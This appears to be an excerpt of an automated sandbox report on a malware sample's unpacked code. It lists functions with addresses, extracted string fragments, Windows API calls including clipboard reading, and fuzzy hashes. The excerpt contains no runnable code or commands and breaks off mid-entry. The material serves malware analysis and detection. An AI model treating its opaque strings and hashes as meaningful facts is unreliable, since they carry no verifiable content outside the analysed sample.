Opcode Fuzzy Hash: 9e8825af9e0ced11f48175dfa20c9b5eb9206a1c9eeaa1dc0be527b2ca63050d
Instruction Fuzzy Hash: 3A41277890D280ABC341BF58D544B1EFBE5AF52709F148D2DE5C487262C73AD854CB6B

Function 00507600 Relevance: 6.9, Strings: 5, Instructions: 614
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

EBC, xrefs: 00507775
4`[b, xrefs: 00507E00
2wP, xrefs: 00507724
%sgh, xrefs: 00507A40
B{P, xrefs: 00507B35

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: %sgh$2wP$4`[b$B{P$EBC
API String ID: 0-2167493894
Opcode ID: 1cd3147d69e5cff4ba5925438751c13366f1fe1d62fa386770c8404f300a71d9
Instruction ID: 4fae081d29ddc781f232bf0790952efc41a92a8dc6f7bdecfbee343df454c9a6
Opcode Fuzzy Hash: 1cd3147d69e5cff4ba5925438751c13366f1fe1d62fa386770c8404f300a71d9
Instruction Fuzzy Hash: 7722A0B5D0420ADFDB10CF98D882ABEBFB1FF59300F244858E941AB391D335A945DBA0

Function 00507560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00504FF1,00000001,00000005,?,00000000,?,?,004E14D5), ref: 0050758E

Strings

7654, xrefs: 00507582
7654, xrefs: 00507564

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$7654
API String ID: 2994545307-1888865020
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0050A7E0 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MNOP, xrefs: 0050A8F3, 0050A8FB
@, xrefs: 0050A8A7

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: InitializeThunk
String ID: @$MNOP
API String ID: 2994545307-2234187807
Opcode ID: 8728889dea107c3206444ef3ff1199d8776f44d1f573688a8cd6eabbb834026f
Instruction ID: db1306dea040e834bcf3b05ad268bc90b9e86af36fbacc523ea2f32741ac45f3
Opcode Fuzzy Hash: 8728889dea107c3206444ef3ff1199d8776f44d1f573688a8cd6eabbb834026f
Instruction Fuzzy Hash: 7341A9B16083049FD710DF68C885A6FBBE5FF85318F19892DE489CB2A2E375D904CB52

Function 0050AC00 Relevance: 1.4, Strings: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MNOP, xrefs: 0050AC34, 0050AC3D

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: a9e186d8978b47699d6a77aed3dca9dc071ab6700bff8405ed8a93939252458b
Instruction ID: 1c4ca57139633c03959a256a18f6ab904df611b2b5946fb119b7790bb0c8c456
Opcode Fuzzy Hash: a9e186d8978b47699d6a77aed3dca9dc071ab6700bff8405ed8a93939252458b
Instruction Fuzzy Hash: BE419E35608304AFE7249B18C891B2FBFA5FB95B15F24882CF99997292D331EC00DB57

Function 00504282 Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00504306

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 12ac784fa4ad5a8157871eef46702398d49b3fa8bdd32a6062a0a97385713ae5
Instruction ID: 17150f8965d6c395e8df92718f3cf035018f677d0ed495643f82568b83e7f199
Opcode Fuzzy Hash: 12ac784fa4ad5a8157871eef46702398d49b3fa8bdd32a6062a0a97385713ae5
Instruction Fuzzy Hash: D401467464C641EFC301EB48E890A5EBBE5FB9A710F14881CE5C8873A1C339DC54DB92

Function 00504200 Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00504257

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 149f14df0dcd9f1e482fe0b950373664bbece13e2baf7cf344fff60c51e2399d
Instruction ID: fbbf424de1859b2988659cb73a379e658d87bb67c3b6cc254e9402692cac8949
Opcode Fuzzy Hash: 149f14df0dcd9f1e482fe0b950373664bbece13e2baf7cf344fff60c51e2399d
Instruction Fuzzy Hash: 81F03A7850C240AFD701EB58E945A1EFBE5FB96701F448C2CF5C487292C235E824DB63

Function 00506F80 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNELBASE(004CD4AE), ref: 00506F8B

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: cb012998c44b6fa79a5f806c3e90b90df03b4b0e90f3af973b66c49c94115af7
Instruction ID: 563e732c0f0a5535b6f6fb7e08f782a062f2e903e64038cade37ff1cdd28cd91
Opcode Fuzzy Hash: cb012998c44b6fa79a5f806c3e90b90df03b4b0e90f3af973b66c49c94115af7
Instruction Fuzzy Hash: 37A00230454446ABCE416B25ED4D99C7E31B7A430A310D454BA5952176DE216428FA15

Non-executed Functions

Function 004DE52C Relevance: 38.6, Strings: 30, Instructions: 1100COMMON

Download Yara Rule

Strings

4;:p, xrefs: 004DECB9
\CBA, xrefs: 004DEC7D
eZ[X, xrefs: 004DECF5
(/.-, xrefs: 004DECEB
7654, xrefs: 004DE79F
AFGD, xrefs: 004DED3B
qvw=, xrefs: 004DECC3
T[ZY, xrefs: 004DEC69
-"# , xrefs: 004DEC41
076|, xrefs: 004DECAF
L321, xrefs: 004DECA5
Ug0a, xrefs: 004DF579
Xa!m, xrefs: 004DEEA9
$+*), xrefs: 004DECE1
@GFE, xrefs: 004DEC87
UJKH, xrefs: 004DED1D
PWVU, xrefs: 004DEC5F
t{zy, xrefs: 004DEC19
HFo, xrefs: 004DEF0D
honm, xrefs: 004DEC4B
1674, xrefs: 004DEC23
`gfe, xrefs: 004DEC37
pwvu, xrefs: 004DEC0F
|cba, xrefs: 004DEC2D
S=S?, xrefs: 004DE5DD
lSRQ, xrefs: 004DEC55
<jkh, xrefs: 004DECCD
X_^], xrefs: 004DEC73
i'&%, xrefs: 004DECD7
DKJI, xrefs: 004DEC91

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: $+*)$(/.-$-"# $076|$1674$4;:p$7654$<jkh$@GFE$AFGD$DKJI$HFo$L321$PWVU$S=S?$T[ZY$UJKH$Ug0a$X_^]$Xa!m$\CBA$`gfe$eZ[X$honm$i'&%$lSRQ$pwvu$qvw=$t{zy$|cba
API String ID: 0-1574315579
Opcode ID: f43fe0fc2ebec210cab066e3a2dc6ef4edc02dec303d121e6560860dd68bed62
Instruction ID: 68bc0da2dead24fef490e7b0d3e95cbe59d116580aba5ebd199520f8dd20a9ab
Opcode Fuzzy Hash: f43fe0fc2ebec210cab066e3a2dc6ef4edc02dec303d121e6560860dd68bed62
Instruction Fuzzy Hash: 46A267B0200B409FD770DF25C8A1BA7BBE2AB45304F54482EE5AB9B391DB35B849CF55

Function 004F9000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004F9010
GetWindowLongW.USER32 ref: 004F9035
GetClipboardData.USER32 ref: 004F9045
GlobalLock.KERNEL32 ref: 004F9068
GlobalUnlock.KERNEL32 ref: 004F914A
CloseClipboard.USER32 ref: 004F9155

Strings

3, xrefs: 004F9090
e, xrefs: 004F90D1
?, xrefs: 004F90BD

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: 3$?$e
API String ID: 2832541153-3975470078
Opcode ID: 2234426a7de91cf58beff58db07f438001ec66e6ffe0fdae8497bb0945fd8a02
Instruction ID: 6186f6289faa1d4fcb41400cf94f6a77331328467e6ecef100eb60345dabf8e4
Opcode Fuzzy Hash: 2234426a7de91cf58beff58db07f438001ec66e6ffe0fdae8497bb0945fd8a02
Instruction Fuzzy Hash: A9417F7440C3858ED311EF3C958872FBFE09B92314F144A6EE4DA86292C7798949D7A7

Function 0050004B Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 420COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 004FFED4
VariantInit.OLEAUT32(?), ref: 00500071
VariantClear.OLEAUT32(?), ref: 00500130
SysFreeString.OLEAUT32(?), ref: 00500155
SysFreeString.OLEAUT32(?), ref: 00500162
SysFreeString.OLEAUT32(?), ref: 00500179

Strings

4`[b, xrefs: 00500430
7654, xrefs: 0050048D

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: String$Free$Variant$ClearInit
String ID: 4`[b$7654
API String ID: 4205145696-3675246634
Opcode ID: 7c9102f48d30f009ae2f469d54162b5d6799917b8af1371820eb22077c3e4d3f
Instruction ID: 3934de694b96ade85a5f232fe11f37e59d4b8c4a0db80a1c2d9faa88bf2b58a5
Opcode Fuzzy Hash: 7c9102f48d30f009ae2f469d54162b5d6799917b8af1371820eb22077c3e4d3f
Instruction Fuzzy Hash: FCE1EC75A08205DFDB00CF68E885BAEBBB1FB89305F14882CE585E72D1D739D909DB52

Function 004FFD0E Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 403memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 004FFD6C
SysAllocString.OLEAUT32 ref: 004FFE2C

Strings

,/, xrefs: 004FFDD9
4`[b, xrefs: 00500430
7654, xrefs: 0050048D

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: AllocString
String ID: ,/$4`[b$7654
API String ID: 2525500382-138038313
Opcode ID: d56e0febd0588f5a6e9074489ef40f5682d739e70a2c5e0d8e918f9f05a70d8f
Instruction ID: 5a29778ddc52ae9a1ce4c4608008725cd8af435e5628d4fc9003bad9add0bf07
Opcode Fuzzy Hash: d56e0febd0588f5a6e9074489ef40f5682d739e70a2c5e0d8e918f9f05a70d8f
Instruction Fuzzy Hash: 07E1EDB5A08305EFDB108F68DC85BAEBBB1FB89301F14882CF685A7291C735D914CB56

Function 004CFEBC Relevance: 13.2, Strings: 10, Instructions: 710COMMON

Download Yara Rule

Strings

f, xrefs: 004D0824, 004D082D
89, xrefs: 004D0866
us, xrefs: 004D08F9
I1, xrefs: 004D002F
13, xrefs: 004D0039
9lji, xrefs: 004D07A4, 004D07AD
w%r', xrefs: 004D085E
PQ, xrefs: 004D0941
58, xrefs: 004D0043
8<, xrefs: 004D004D

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 13$58$89$8<$9lji$I1$PQ$w%r'$us$f
API String ID: 0-2782953580
Opcode ID: b737ee6d59293cc3fbdfac73e0c1d87c12118e4ab112d47728591220f38cbc3c
Instruction ID: 614ef5215c3ff2b8322d86658f6f7780a1f7a36575cdc2ddbd323a50a0cc1479
Opcode Fuzzy Hash: b737ee6d59293cc3fbdfac73e0c1d87c12118e4ab112d47728591220f38cbc3c
Instruction Fuzzy Hash: 464289B0104340DFD3248F25E894B5BBBB5FB89308F14896DE48A8B3A1DB75E84ADF55

Function 004E7B0F Relevance: 10.8, Strings: 8, Instructions: 813COMMON

Download Yara Rule

Strings

QQ;%, xrefs: 004E7C03
-17E, xrefs: 004E7BE3
r~N, xrefs: 004E7E64
7654, xrefs: 004E7B64, 004E7B6D
=I# , xrefs: 004E7BFB
E'I, xrefs: 004E7BEB
?8N, xrefs: 004E7BF3
7654, xrefs: 004E8474, 004E847D

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: -17E$7654$7654$=I# $?8N$QQ;%$r~N$E'I
API String ID: 0-2658399917
Opcode ID: 5aa5cba75288eb53ef78bbf0ff387d69584d4dc9e2d0c887c28a866607baa61f
Instruction ID: ccbff884712e26a20f0d2aa8f94e5e0ab9d1058f3e21b329fc936cd77e2b1e58
Opcode Fuzzy Hash: 5aa5cba75288eb53ef78bbf0ff387d69584d4dc9e2d0c887c28a866607baa61f
Instruction Fuzzy Hash: 0C42E971608341DFC714CF29D880A6AB7E2FF99711F08896CE8898B391D739EC55DB52

Function 004DDD64 Relevance: 10.6, Strings: 8, Instructions: 613COMMON

Download Yara Rule

Strings

{/}-, xrefs: 004DDFE3
4`[b, xrefs: 004DE380
8C-A, xrefs: 004DE006
7654, xrefs: 004DE3B5
4`[b, xrefs: 004DE440
3_], xrefs: 004DDFFF
;[6Y, xrefs: 004DDFF8
Vwvu, xrefs: 004DE029

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 3_]$4`[b$4`[b$7654$8C-A$;[6Y$Vwvu${/}-
API String ID: 0-2602927754
Opcode ID: 81452ee32e1209fc6d295423fd94dac24d82b2e12b4d97bdb0e32632d8b27677
Instruction ID: be7b37ecf57251f879ce68d214f4aa31fb8d47b68604201a12149dc865a1e022
Opcode Fuzzy Hash: 81452ee32e1209fc6d295423fd94dac24d82b2e12b4d97bdb0e32632d8b27677
Instruction Fuzzy Hash: 9D12BCB4600B00CFC7649F25C8A1BA3B7F2FF59304F14895EE89A8B791D339A855CB95

Function 004F27B0 Relevance: 9.2, Strings: 6, Instructions: 1749COMMON

Download Yara Rule

Strings

vRTb, xrefs: 004F3C60
~PF<, xrefs: 004F2851
drC, xrefs: 004F27D1
.L6j, xrefs: 004F3301
>Wv, xrefs: 004F2879
KJIg, xrefs: 004F39FB

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: drC$.L6j$>Wv$KJIg$vRTb$~PF<
API String ID: 0-2296406947
Opcode ID: e179acf84efcd3caf28574adce533bda10de46bfd36be3e8d22c22d40dfd56ed
Instruction ID: b11dc6b1140e0134cfac48bd053cd9ce00835be9dfb64db93847f0edca4842dd
Opcode Fuzzy Hash: e179acf84efcd3caf28574adce533bda10de46bfd36be3e8d22c22d40dfd56ed
Instruction Fuzzy Hash: 62D27C70405B848AE7318F35C490BF3BBE1AF17306F48499ED5EB8B282D779A505CB69

Function 004EC891 Relevance: 8.3, Strings: 6, Instructions: 837COMMON

Download Yara Rule

Strings

gzyi, xrefs: 004ECD66
cb`d, xrefs: 004ECD6E
vrhz, xrefs: 004EC8D1
7654, xrefs: 004ED0D3, 004ED0DB
HK, xrefs: 004ECF41
4`[b, xrefs: 004ED110

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 4`[b$7654$HK$cb`d$gzyi$vrhz
API String ID: 0-2685429167
Opcode ID: ffbd1434c6a44f027cdead8c82e3c7f79806eef611662d0f41868bb7412d5552
Instruction ID: 75c5741c5254e53de65fd76f982e8fd9f59315e95bb662cd53174a5d076fd775
Opcode Fuzzy Hash: ffbd1434c6a44f027cdead8c82e3c7f79806eef611662d0f41868bb7412d5552
Instruction Fuzzy Hash: 8C42DAB5508380CFC7009F2AD891A2FBBE1EF9A345F18482EE5C59B362D379D905CB56

Function 004E04A0 Relevance: 6.9, Strings: 5, Instructions: 683COMMON

Download Yara Rule

Strings

^G, xrefs: 004E0923, 004E092B
[Z], xrefs: 004E0554
`c, xrefs: 004E0BCE
su, xrefs: 004E0BAE
wy, xrefs: 004E0BB6

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: ^G$`c$[Z]$su$wy
API String ID: 0-2730888924
Opcode ID: 554ce9993244f6bb05eaab497a4e39b5450afb41be27ad97bfeeced5beaac234
Instruction ID: d47b4ed06f254dcd59303635b059c4ef055cf3b364064d4cf26fa1404f773f56
Opcode Fuzzy Hash: 554ce9993244f6bb05eaab497a4e39b5450afb41be27ad97bfeeced5beaac234
Instruction Fuzzy Hash: 322297B44083809FD700EF5AD880A2BBBF0AF95359F088D1DF4D88B252D37AD955CB96

Function 004CEFFC Relevance: 6.8, Strings: 5, Instructions: 550COMMON

Download Yara Rule

Strings

j, xrefs: 004CF2B8
yE, xrefs: 004CF10B
%!-0, xrefs: 004CF2A1
:g;1, xrefs: 004CF279
GA, xrefs: 004CF0FB

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$GA$j$yE
API String ID: 0-657862259
Opcode ID: 6091dbb4570ff3008c57991382d82646ae8f31786e501d945a072218621f30d9
Instruction ID: 7131832e665531579d83df290826c841a0419dd5de341c77a27374f5dad2fbb1
Opcode Fuzzy Hash: 6091dbb4570ff3008c57991382d82646ae8f31786e501d945a072218621f30d9
Instruction Fuzzy Hash: ED02BE7410C3849FD360DF14D490BABBBE2BF9A308F044A2DE4C987352E3799959CB5A

Function 004EBB00 Relevance: 6.7, Strings: 5, Instructions: 428COMMON

Download Yara Rule

Strings

7654, xrefs: 004EBE64, 004EBE6D
4`[b, xrefs: 004EBEB0
7654, xrefs: 004EC053, 004EC05B
4`[b, xrefs: 004EC090
L], xrefs: 004EBBCF

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 4`[b$4`[b$7654$7654$L]
API String ID: 0-1286059558
Opcode ID: a26b4d1857f548cc615714b682576392824be69868bc9ded9683964b4a2015bc
Instruction ID: 040c3df0f24fbc5fc5df4ba9681c7ad0fcedbf917e4536c5f34dc4c01eff5f75
Opcode Fuzzy Hash: a26b4d1857f548cc615714b682576392824be69868bc9ded9683964b4a2015bc
Instruction Fuzzy Hash: AAE1C7B4508384DFE3209F29D880B6FBBE5FB95304F508C2DE69887261EB36D904CB46

Function 004CF7E0 Relevance: 6.6, Strings: 5, Instructions: 400COMMON

